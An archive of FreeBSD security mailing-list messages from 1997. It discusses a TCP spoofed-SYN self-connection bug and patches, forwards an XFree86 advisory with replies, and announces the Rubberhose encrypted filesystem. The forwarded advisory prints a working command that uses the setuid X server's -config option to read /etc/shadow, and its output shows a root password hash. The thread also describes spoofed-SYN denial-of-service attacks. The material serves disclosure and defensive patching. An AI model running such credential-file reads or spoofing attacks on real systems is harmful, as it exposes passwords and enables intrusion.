>so why not just reject such a connection >attempt out of hand in the TCPS_LISTEN state? For one thing, src-ip == dst-ip is not the only situation that will cause this behavior on a multi-homed host; determining if this is an evil packet takes a routing table lookup or an interface table search. It may also be that there's a whole class of problems that this bug is only one symptom of, and finding the right fix rather than the right-now fix could be important in the future. Bill From owner-freebsd-security Fri Nov 21 16:14:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA26741 for security-outgoing; Fri, 21 Nov 1997 16:14:22 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA26732 for ; Fri, 21 Nov 1997 16:14:19 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id QAA05235; Fri, 21 Nov 1997 16:14:59 -0800 (PST) Date: Fri, 21 Nov 1997 16:14:59 -0800 (PST) From: Jim Shankland Message-Id: <199711220014.QAA05235@biggusdiskus.flyingfox.com> To: fenner@parc.xerox.com Subject: Re: new TCP/IP bug in win95 (fwd) Cc: Don.Lewis@tsc.tdk.com, security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bill Fenner writes: > Jim Shankland wrote: > >I can't think of any case in which it would > >be legal or desirable to have a TCP connection with (src-ip, src-port) > >equal to (dst-ip, dst-port) > > It's legal. I'm not convinced (yet). How could you ever implement this? Each endpoint of a TCP circuit needs a state structure (the TCB). So such a connection (like any TCP connection) would have 2 TCB's; but in this case, (local-ip, local-port) would be equal to (far-ip, far-port) in each TCB. How do you propose to tell the 2 TCB's apart? I.e., when a packet arrives, how do you know which of the 2 TCB's to associate it with? You certainly can't get into this state without spoofing: try to bind() a client-side (connecting) socket to a port on which a server is already listening, and you'll get EADDRINUSE. > For one thing, src-ip == dst-ip is not the only situation that will > cause this behavior on a multi-homed host; determining if this is an > evil packet takes a routing table lookup or an interface table search. Well, I don't think you can do it with one packet (Don Lewis points out it may be possible with two). If somebody spoofs a SYN packet from (ip-1, telnet) to (ip-2, telnet), for example, where both ip-1 and ip-2 are on the local machine, the response (SYN-ACK from (ip-2, telnet) to (ip-1, telnet)) will be dispacted to a TCB that is still in the LISTEN state, causing a reset. > It may also be that there's a whole class of problems that this bug is > only one symptom of, and finding the right fix rather than the > right-now fix could be important in the future. Agreed. I'd claim the "whole class of problems" is named "source address spoofing," and that there is no one "right fix." Rejecting packets with out-of-range ACK values before a connection is fully synchronized sounds like one right fix. Rejecting connections in which (src-ip, src-port) == (dst-ip, dst-port) sounds like another. And per-interface source-ip address screening sounds like another. There's probably quite a bit more to think about, here. Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Fri Nov 21 16:24:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA27308 for security-outgoing; Fri, 21 Nov 1997 16:24:53 -0800 (PST) (envelope-from owner-freebsd-security) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA27287 for ; Fri, 21 Nov 1997 16:24:45 -0800 (PST) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <53363(6)>; Fri, 21 Nov 1997 16:24:11 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Fri, 21 Nov 1997 16:23:57 -0800 To: Jim Shankland cc: fenner@parc.xerox.com, security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Fri, 21 Nov 97 16:14:59 PST." <199711220014.QAA05235@biggusdiskus.flyingfox.com> Date: Fri, 21 Nov 1997 16:23:48 PST From: Bill Fenner Message-Id: <97Nov21.162357pst.177476@crevenia.parc.xerox.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jim Shankland wrote: >I'm not convinced (yet). How could you ever implement this? Each >endpoint of a TCP circuit needs a state structure (the TCB). So such >a connection (like any TCP connection) would have 2 TCB's Nope. This program creates a self-connection with only one TCB involved. #include #include #include #include main() { struct sockaddr_in sin; int s, ns; int on = 1; if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if (setsockopt(s, SOL_SOCKET, SO_DEBUG, &on, sizeof(on)) < 0) { perror("SO_DEBUG"); exit(1); } sin.sin_addr.s_addr = INADDR_ANY; sin.sin_port = htons(6767); sin.sin_family = AF_INET; if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); exit(1); } /* * Connect to ourselves. * Write something to the socket and then read it to prove that * we're connected to ourselves. */ sin.sin_addr.s_addr = htonl(0x7f000001); if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("connect"); exit(1); } { char buf[] = "Hello, world!\n"; char buf2[100]; write(s, buf, sizeof(buf)); read(s, buf2, sizeof(buf)); write(0, buf2, sizeof(buf)); } } >You certainly can't get into this state without spoofing: try to >bind() a client-side (connecting) socket to a port on which a server >is already listening, and you'll get EADDRINUSE. Use SO_REUSEADDR (probably in both the client and server). >> For one thing, src-ip == dst-ip is not the only situation that will >> cause this behavior on a multi-homed host; determining if this is an >> evil packet takes a routing table lookup or an interface table search. > >Well, I don't think you can do it with one packet You're right, I was abstracting the problem too much in my head. Bill From owner-freebsd-security Fri Nov 21 16:37:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA28282 for security-outgoing; Fri, 21 Nov 1997 16:37:47 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA28269 for ; Fri, 21 Nov 1997 16:37:40 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id QAA07319; Fri, 21 Nov 1997 16:37:20 -0800 (PST) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id QAA27324; Fri, 21 Nov 1997 16:37:19 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id QAA16107; Fri, 21 Nov 1997 16:37:17 -0800 (PST) From: Don Lewis Message-Id: <199711220037.QAA16107@salsa.gv.tsc.tdk.com> Date: Fri, 21 Nov 1997 16:37:17 -0800 In-Reply-To: Don Lewis "Re: new TCP/IP bug in win95 (fwd)" (Nov 21, 5:00am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Don Lewis , Jim Shankland , robert@cyrus.watson.org Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Nov 21, 5:00am, Don Lewis wrote: } Subject: Re: new TCP/IP bug in win95 (fwd) } } I think something like this (untested) patch should do the trick: } } --- tcp_input.c.prev Fri Nov 21 04:34:51 1997 } +++ tcp_input.c Fri Nov 21 05:00:07 1997 } @@ -752,6 +752,17 @@ } } } } /* } + * If the state is SYN_RCVD: } + * if seg contains an ACK, but not for our SYN,ACK, drop the input. } + * Otherwise continue processing } + */ } + case TCPS_SYN_RECEIVED: } + if (SEQ_GT(tp->snd_una, ti->ti_ack) || } + SEQ_GT(ti->ti_ack, tp->snd_max)) } + goto dropwithreset; } + break; /* continue normal processing */ This is badly broken since this check should only be done if the ACK bit is set. } + } + /* } * If the state is SYN_SENT: } * if seg contains an ACK, but not for our SYN, drop the input. } * if seg contains a RST, then drop the connection. } @@ -1171,9 +1182,7 @@ } * send an RST. } */ } case TCPS_SYN_RECEIVED: } - if (SEQ_GT(tp->snd_una, ti->ti_ack) || } - SEQ_GT(ti->ti_ack, tp->snd_max)) } - goto dropwithreset; } + /* ACK validation was done earlier, before window trim */ } } tcpstat.tcps_connects++; } soisconnected(so); }-- End of excerpt from Don Lewis I like the following patch better since it is both smaller and doesn't require investigating all the different possible relationships between sequence numbers. Comments? --- tcp_input.c.prev Fri Nov 21 04:34:51 1997 +++ tcp_input.c Fri Nov 21 16:32:10 1997 @@ -752,6 +752,18 @@ } /* + * If the state is SYN_RCVD: + * If seg contains a SYN,ACK, then drop it and send a RST. + * We should only ever get an ACK or a duplicate SYN (if our + * SYN,ACK was lost) in this state. + * Otherwise continue processing + */ + case TCPS_SYN_RECEIVED: + if ((tiflags & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) + goto dropwithreset; + break; /* continue normal processing */ + + /* * If the state is SYN_SENT: * if seg contains an ACK, but not for our SYN, drop the input. * if seg contains a RST, then drop the connection. From owner-freebsd-security Fri Nov 21 16:43:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA28673 for security-outgoing; Fri, 21 Nov 1997 16:43:06 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA28665 for ; Fri, 21 Nov 1997 16:43:03 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id QAA05351; Fri, 21 Nov 1997 16:44:11 -0800 (PST) Date: Fri, 21 Nov 1997 16:44:11 -0800 (PST) From: Jim Shankland Message-Id: <199711220044.QAA05351@biggusdiskus.flyingfox.com> To: fenner@parc.xerox.com Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bill Fenner writes: > Jim Shankland wrote: > >I'm not convinced (yet). How could you ever implement this? Each > >endpoint of a TCP circuit needs a state structure (the TCB). So such > >a connection (like any TCP connection) would have 2 TCB's > > Nope. This program creates a self-connection with only one TCB > involved. Heh. Right you are. Live and learn. Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Fri Nov 21 22:27:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16378 for security-outgoing; Fri, 21 Nov 1997 22:27:24 -0800 (PST) (envelope-from owner-freebsd-security) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA16372 for ; Fri, 21 Nov 1997 22:27:19 -0800 (PST) (envelope-from avalon@coombs.anu.edu.au) Message-Id: <199711220627.WAA16372@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA105579965; Sat, 22 Nov 1997 17:26:05 +1100 From: Darren Reed Subject: Re: new TCP/IP bug in win95 (fwd)g To: Don.Lewis@tsc.tdk.com (Don Lewis) Date: Sat, 22 Nov 1997 17:26:05 +1100 (EDT) Cc: Don.Lewis@tsc.tdk.com, jas@flyingfox.com, robert@cyrus.watson.org, security@FreeBSD.ORG In-Reply-To: <199711220037.QAA16107@salsa.gv.tsc.tdk.com> from "Don Lewis" at Nov 21, 97 04:37:17 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail from Don Lewis, sie said: > > I like the following patch better since it is both smaller and doesn't > require investigating all the different possible relationships between > sequence numbers. Comments? > > --- tcp_input.c.prev Fri Nov 21 04:34:51 1997 > +++ tcp_input.c Fri Nov 21 16:32:10 1997 > @@ -752,6 +752,18 @@ > } > > /* > + * If the state is SYN_RCVD: > + * If seg contains a SYN,ACK, then drop it and send a RST. > + * We should only ever get an ACK or a duplicate SYN (if our > + * SYN,ACK was lost) in this state. > + * Otherwise continue processing > + */ > + case TCPS_SYN_RECEIVED: > + if ((tiflags & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) > + goto dropwithreset; > + break; /* continue normal processing */ > + > + /* > * If the state is SYN_SENT: > * if seg contains an ACK, but not for our SYN, drop the input. > * if seg contains a RST, then drop the connection. Hmmm, "doesn't require" checking seq/ack #'s ? The seq/ack numbers make up 66% of the validation that a TCP packet is part of an active stream. The other 33% is the source and destination port. From owner-freebsd-security Fri Nov 21 23:26:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19425 for security-outgoing; Fri, 21 Nov 1997 23:26:03 -0800 (PST) (envelope-from owner-freebsd-security) Received: from firewall.ftf.dk (root@mail.ftf.dk [129.142.64.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19413 for ; Fri, 21 Nov 1997 23:25:53 -0800 (PST) (envelope-from regnauld@deepo.prosa.dk) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id KAA27071 for ; Sat, 22 Nov 1997 10:00:23 +0100 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id IAA17369 for ; Sat, 22 Nov 1997 08:46:25 +0100 (CET) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.5/8.8.5/prosa-1.1) id IAA12182; Sat, 22 Nov 1997 08:23:50 +0100 (CET) Message-ID: <19971122082350.56933@deepo.prosa.dk> Date: Sat, 22 Nov 1997 08:23:50 +0100 From: Philippe Regnauld To: freebsd-security@freebsd.org Subject: Fwd: "XFree86 insecurity" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e X-Operating-System: FreeBSD 2.2.1-RELEASE i386 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Cute one. -----Forwarded message from shegget ----- Date: Fri, 21 Nov 1997 18:35:36 +0000 From: shegget Subject: XFree86 insecurity To: BUGTRAQ@NETSPACE.ORG plaguez security advisory n.10 XFree86 insecurity Program: XF86_*, the XFree86 servers (XF86_SVGA, XF86_VGA16, ...) Version: Tested on XFree86 3.3.1 (current), 3.2.9 and 3.1.2. Other versions as well. OS: All Impact: The XFree86 servers let you specify an alternate configuration file and do not check whether you have rights to read it. Any user can read files with root permissions. hello, just a short one to tell you about this "feature" I found in all default XFree86 servers... Here it is: Script started on Sat Aug 23 15:32:36 1997 Loading /usr/lib/kbd/keytables/fr-latin1.map [plaguez@plaguez plaguez]$ uname -a Linux plaguez 2.0.31 #10 Wed Aug 20 04:24:38 MET DST 1997 i586 [plaguez@plaguez plaguez]$ ls -al /etc/shadow -rw------- 1 root bin 1039 Aug 21 20:12 /etc/shadow [plaguez@plaguez bin]$ id uid=502(plaguez) gid=500(users) groups=500(users) [plaguez@plaguez plaguez]$ cd /usr/X11R6/bin [plaguez@plaguez bin]$ ./XF86_SVGA -config /etc/shadow Unrecognized option: root:qEXaUxSeQ45ls:10171:-1:-1:-1:-1:-1:-1 use: X [:] [option] -a # mouse acceleration (pixels) -ac disable access control restrictions -audit int set audit trail level -auth file select authorization file bc enable bug compatibility -bs disable any backing store support -c turns off key-click ... and so on. HINT: look at the first XF86_SVGA output line. Patch: ------ If you run xdm, you should consider removing the setuid bit of the servers. If not, well, wait for the XFree86 Project to bring you a patch, since I'm too lazy to find and fix it. later, -plaguez dube0866@eurobretagne.fr -----End of forwarded message----- -- -- Phil -[ Philippe Regnauld / sysadmin / regnauld@deepo.prosa.dk / +55.4N +11.3E ]- From owner-freebsd-security Sat Nov 22 00:25:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA22279 for security-outgoing; Sat, 22 Nov 1997 00:25:20 -0800 (PST) (envelope-from owner-freebsd-security) Received: from rf900.physics.usyd.edu.au (rf900.physics.usyd.edu.au [129.78.129.109]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA22272 for ; Sat, 22 Nov 1997 00:25:14 -0800 (PST) (envelope-from dawes@rf900.physics.usyd.edu.au) Received: (from dawes@localhost) by rf900.physics.usyd.edu.au (8.8.5/8.8.2) id TAA03724; Sat, 22 Nov 1997 19:24:54 +1100 (EST) Message-ID: <19971122192453.17451@rf900.physics.usyd.edu.au> Date: Sat, 22 Nov 1997 19:24:53 +1100 From: David Dawes To: Philippe Regnauld Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: "XFree86 insecurity" References: <19971122082350.56933@deepo.prosa.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <19971122082350.56933@deepo.prosa.dk>; from Philippe Regnauld on Sat, Nov 22, 1997 at 08:23:50AM +0100 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Nov 22, 1997 at 08:23:50AM +0100, Philippe Regnauld wrote: We (XFree86) are aware of this one. I agree with the recomendation of removing the setuid bit and using xdm to start the Xserver, and if you have XFree86 on a machine where this problem is significant, you should consider doing this. The fix is to disable the '-config' Xserver option. This will be removed in our next release, and also in the next X11 release from The Open Group. It was only added to get around problems on OS's with small command line length limits, and should never have been enabled for most Unix-like OSs. The problem isn't XFree86-specific. It affects any platform using X11R6 XC/TOG code where the Xserver is installed setuid root (although on non-XFree86 platforms you may need to be a little more inventive with the use of the -config option). David >Cute one. > >-----Forwarded message from shegget ----- > >Date: Fri, 21 Nov 1997 18:35:36 +0000 >From: shegget >Subject: XFree86 insecurity >To: BUGTRAQ@NETSPACE.ORG > > plaguez security advisory n.10 > > XFree86 insecurity > > > > >Program: XF86_*, the XFree86 servers (XF86_SVGA, XF86_VGA16, ...) > >Version: Tested on XFree86 3.3.1 (current), 3.2.9 and 3.1.2. > Other versions as well. > >OS: All > >Impact: The XFree86 servers let you specify an alternate configuration > file and do not check whether you have rights to read it. > Any user can read files with root permissions. > > > > >hello, >just a short one to tell you about this "feature" I found in all default >XFree86 servers... > > >Here it is: > >Script started on Sat Aug 23 15:32:36 1997 >Loading /usr/lib/kbd/keytables/fr-latin1.map >[plaguez@plaguez plaguez]$ uname -a >Linux plaguez 2.0.31 #10 Wed Aug 20 04:24:38 MET DST 1997 i586 >[plaguez@plaguez plaguez]$ ls -al /etc/shadow >-rw------- 1 root bin 1039 Aug 21 20:12 /etc/shadow >[plaguez@plaguez bin]$ id >uid=502(plaguez) gid=500(users) groups=500(users) >[plaguez@plaguez plaguez]$ cd /usr/X11R6/bin >[plaguez@plaguez bin]$ ./XF86_SVGA -config /etc/shadow >Unrecognized option: root:qEXaUxSeQ45ls:10171:-1:-1:-1:-1:-1:-1 >use: X [:] [option] >-a # mouse acceleration (pixels) >-ac disable access control restrictions >-audit int set audit trail level >-auth file select authorization file >bc enable bug compatibility >-bs disable any backing store support >-c turns off key-click > >... and so on. HINT: look at the first XF86_SVGA output line. > > > > > >Patch: >------ > >If you run xdm, you should consider removing the setuid bit of the >servers. > >If not, well, wait for the XFree86 Project to bring you a patch, since I'm >too lazy to find and fix it. > > > > > >later, > >-plaguez >dube0866@eurobretagne.fr > >-----End of forwarded message----- > >-- > -- Phil > > -[ Philippe Regnauld / sysadmin / regnauld@deepo.prosa.dk / +55.4N +11.3E ]- From owner-freebsd-security Sat Nov 22 03:26:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA29757 for security-outgoing; Sat, 22 Nov 1997 03:26:41 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA29742 for ; Sat, 22 Nov 1997 03:26:38 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id DAA09392; Sat, 22 Nov 1997 03:25:57 -0800 (PST) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id DAA06269; Sat, 22 Nov 1997 03:25:56 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id DAA17122; Sat, 22 Nov 1997 03:25:55 -0800 (PST) From: Don Lewis Message-Id: <199711221125.DAA17122@salsa.gv.tsc.tdk.com> Date: Sat, 22 Nov 1997 03:25:54 -0800 In-Reply-To: Darren Reed "Re: new TCP/IP bug in win95 (fwd)g" (Nov 22, 5:26pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Darren Reed , Don.Lewis@tsc.tdk.com (Don Lewis) Subject: Re: new TCP/IP bug in win95 (fwd)g Cc: jas@flyingfox.com, robert@cyrus.watson.org, security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Nov 22, 5:26pm, Darren Reed wrote: } Subject: Re: new TCP/IP bug in win95 (fwd)g } In some mail from Don Lewis, sie said: } > } > I like the following patch better since it is both smaller and doesn't } > require investigating all the different possible relationships between } > sequence numbers. Comments? } Hmmm, "doesn't require" checking seq/ack #'s ? This check is in addition to the existing sequence number checks which follow it. The problem with doing the sequence number checks first is that if the SYN flag falls outside the receive window, the SYN flag gets cleared, which means we will skip the test later in the code that will drop the segment if we have an inappropriate SYN flag. This results in the connection possibly going into the ESTABLISHED state with itself and/or getting into an ACK war with itself. My previous patch attempted to do a sequence number check and only drop the segment if the check failed (but it botched this because it didn't verify that the ACK bit was set before doing this test). I was uncomfortable with this because I wasn't sure that all the SYN,ACK packets that passed that test would be caught and dropped later in the code. I now feel it's safer to just drop the segment if we get a SYN,ACK, since that should never happen in the SYN_RCVD state. I believe there are only two valid segments that we can receive in this state. Normally we should get an ACK in response to our SYN,ACK. If our SYN,ACK is lost, then the remote host should time out and resend the initial SYN packet. If we receive a SYN,ACK, then something is definitely wrong and we should drop the segment and send a RST. In addition to hanging the system by sending a spoofed SYN with identical source and destination endpoints, I think it is also possible to get two hosts into an ACK war and cause them to burn a lot of bandwidth by sending each of them spoofed SYNs with each other as the source. They'll each eventually time out the connections because they'll never receive the correct ACK, so this is not a fatal DOS. My patch should cause each of them to send a RST to the other, which will cause each them to drop the connection created by the initial spoofed SYNs. This is a much quicker and less expensive recovery. } The seq/ack numbers make up 66% of the validation that a TCP packet is part } of an active stream. The other 33% is the source and destination port. The connection isn't yet in an ESTABLISHED state, it's still in SYN_RCVD. From owner-freebsd-security Sat Nov 22 05:52:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA06485 for security-outgoing; Sat, 22 Nov 1997 05:52:16 -0800 (PST) (envelope-from owner-freebsd-security) Received: from iq.org (proff@profane.iq.org [203.4.184.222]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA06459 for ; Sat, 22 Nov 1997 05:51:57 -0800 (PST) (envelope-from proff@iq.org) Received: (qmail 3910 invoked by uid 110); 22 Nov 1997 13:50:23 -0000 Date: 22 Nov 1997 13:50:23 -0000 Message-ID: <19971122135023.3909.qmail@iq.org> From: Julian Assange To: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org Subject: cryptographic filing system alpha Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A few people have been pestering me for an alpha snapshot, so without futher ado: http://underground.org/book/marutukku.tgz This is fully functional, but the build system and documentation is still in state of transition. It has only been tested so far on FreeBSD2.2.2. It is *NOT* user-friendly at this stage. And should *NOT* be distributed. This is not beta software. This is alpha software. Caveat Emptor It comes with rc16, cast-128, idea and blowfish, but will pull in DES, tripple DES, rc4, rc2 and faster versions of the internal ciphers if you have SSLeay installed (which you can find in /usr/ports/security). Compile under freebsd: $ make depend $ make # modload mkernel/maru_mod.o $ cd msetkey # ./mcreate # ./mnewiv # ./maset # newfs /dev/maru0 # mkdir /maru # mount /dev/maru0 /maru $ cd /maru $ ls -la ; whatever $ cd / # umount /maru # cd (wherever)/msetkey # ./mdetach # modunload -n maru_mod man pages (quite brief ones at the moment) are in doc/ you can view these with: make pagename.less I've included two man pages below, which will give you some idea of what is involved. -- Prof. Julian Assange |"Don't worry about people stealing your ideas. If your | Ideas are any good, you'll have to ram them down proff@iq.org | people's throats." -- Stolen quote from Howard Aiken proff@gnu.ai.mit.edu | http://underground.org/book mnewiv(1) mnewiv(1) NAME mnewiv -- Create a new Rubberhose ciphertext descriptor SYNOPSIS mnewiv [-1 key_cipher] [-2 lattice_cipher] [-3 block_cipher] [-b fs_blocksize] [-D depth] [-f] [-d debug_lvl] [maru.iv] DESCRIPTION Create a new maru.iv file. When complete, this file con- tains o Major and minor version numbers, for chronologically shifted compatibility o Cipher description numbers for the Key, Lattice and Block ciphers o Master Key agitation count o File system blocksize (-b) o Depth of the block key generator lattice (-D) o Header checksum before decryption o Master Key agitation checksum o MAX_PASSPHRASE bytes of passphrase salt o MAX_KEY bytes of Master Key salt o Salt for the left and right lattice keys o Initialisation vectors for the lattice o Initialisation vectors for each cryptographic block within the file-system block OPTIONS -1 key_cipher Cipher used for pass-phrase `hashing', master- key decryption and lattice key/table generation. Defaults to rc16 -2 lattice_cipher Cipher used for generating file-system block keys from the lattice. Defaults to CAST-128 -3 block_cipher Cipher used for the encryption and decryption of disk blocks. Defaults to CAST-128 1 mnewiv(1) mnewiv(1) -b fs_blocksize Sets the file-system block size. Ideally this value should exactly equal the bdevsw strategy read/write size as passed in from the calling filesystem. A reasonable value is chosen by default (2048 under FreeBSD), and should be only changed with care. -D depth Specify the depth of the subkey-generation lat- tice. File system block keys are generated from the lattice, such that a lattice of depth n can produce 2^n blockeys. Lattice depth defaults to n = 32, which is acceptable for cipher extents upto 4294967296 file system blocks in size. -d debug_lvl Set the debug level. Level 0 produces no status information ("quiet"), level 1 produces minimal status informatio. Level 2 and above produce additional debugging information. At debugging levels two or greater, the anti-core-dumping and memory-wiping-on-exit features of rubberhose are disabled in other to facilitate post crash anal- ysis. -f Force contiuation on error (where possible, e.g over-write pre-existing files instead of abort- ing). EXAMPLE Example mnewiv $ mnewiv -1 rc16 -2 ssl-des-ede3-cbc -3 ssl-des-ede3-cbc mysexy.iv rubberhose (0.5) (c) 1997 Julian Assange MARUTUKKU truly is the refuge of his land, city, and people. Unto him shall the people give praise forever. Enter new passphrase (128 significant characters): Confirm passphrase: Confirm passphrase (again): Generating 128 pseudo cryptographically random bytes for passphrase salt Generating 256 cryptographically random bytes for maru master key Agitating rc16 key generator state for 5 seconds... 32405 rc16 agitations (6481 per second) Generating 32 pseudo cryptographically random bytes for primary lattice key salt's Generating 512 pseudo cryptographically random bytes for subkey lattice IV's Generating 2048 pseudo cryptographically random bytes for master block IV array Clearing key artifacts Maru IV extent header generation complete. Saving Maru SALT/IV extent header as "mysexy.iv" * MAKE AT LEAST TWO BACKUPS of this file. If a single bit sells out to the dark forces of entropy, your entire maru ciphertext extent will follow suit ENVIROMENT 2 mnewiv(1) mnewiv(1) MARU_PASSPHRASE Use the contents of this variable instead of prompting for a pass-phrase. COPYRIGHT Copyright 1997 Julian Assange , All rights reserved. AUTHOR Julian Assange . SEE ALSO hose(1), mnewiv(1), mcreate(1), mwipe(1), mattach(1), maset(1), msetkey(1), mclearkey(1), mdetach(1), mdecrypt(1), mgetopt(1), msetopt(1), mstats(1), minfo(1), mlist(1). mlist(1) mlist(1) NAME mlist -- List available ciphers SYNOPSIS mlist [-d debug_lvl] [-f] DESCRIPTION List available ciphers OPTIONS -d debug_lvl Set the debug level. Level 0 produces no status information ("quiet"), level 1 produces minimal status informatio. Level 2 and above produce additional debugging information. At debugging levels two or greater, the anti-core-dumping and memory-wiping-on-exit features of rubberhose are disabled in other to facilitate post crash anal- ysis. -f Force contiuation on error (where possible, e.g over-write pre-existing files instead of abort- ing). EXAMPLE Example mlist $ mlist rubberhose (0.5) (c) 1997 Julian Assange Remember - it's called ``Rubber-hose'', but it's pronounced ``Maru-tuk-ku''. name xor cipher_num 13 key_size 128 bits block_size 64 bits state/ksch 4 bytes name idea-cbc cipher_num 2 key_size 128 bits block_size 64 bits state/ksch 432 bytes name cast-cbc cipher_num 1 key_size 128 bits block_size 64 bits state/ksch 132 bytes name ssl-rc2-cbc cipher_num 11 key_size 128 bits block_size 64 bits state/ksch 8196 bytes name ssl-blowfish-cbc cipher_num 5 key_size 448 bits block_size 64 bits 1 mlist(1) mlist(1) state/ksch 8196 bytes name ssl-rc4 cipher_num 12 key_size 2048 bits block_size 0 bits (stream cipher) state/ksch 8196 bytes name ssl-idea-cbc cipher_num 10 key_size 128 bits block_size 64 bits state/ksch 8196 bytes name ssl-des-cbc cipher_num 6 key_size 64 bits (56 bits real) block_size 64 bits state/ksch 8196 bytes name ssl-des-ede-cbc cipher_num 7 key_size 128 bits (112 bits real) block_size 64 bits state/ksch 8196 bytes name ssl-des-ede3-cbc cipher_num 8 key_size 192 bits (168 bits real) block_size 64 bits state/ksch 8196 bytes name ssl-desx-cbc cipher_num 9 key_size 192 bits (168 bits real) block_size 64 bits state/ksch 8196 bytes name rc16 cipher_num 3 key_size 2048 bits block_size 0 bits (stream cipher) state/ksch 131080 bytes ENVIROMENT MARU_PASSPHRASE Use the contents of this variable instead of prompting for a pass-phrase. COPYRIGHT Copyright 1997 Julian Assange , All rights reserved. AUTHOR Julian Assange . SEE ALSO hose(1), mnewiv(1), mcreate(1), mwipe(1), mattach(1), maset(1), msetkey(1), 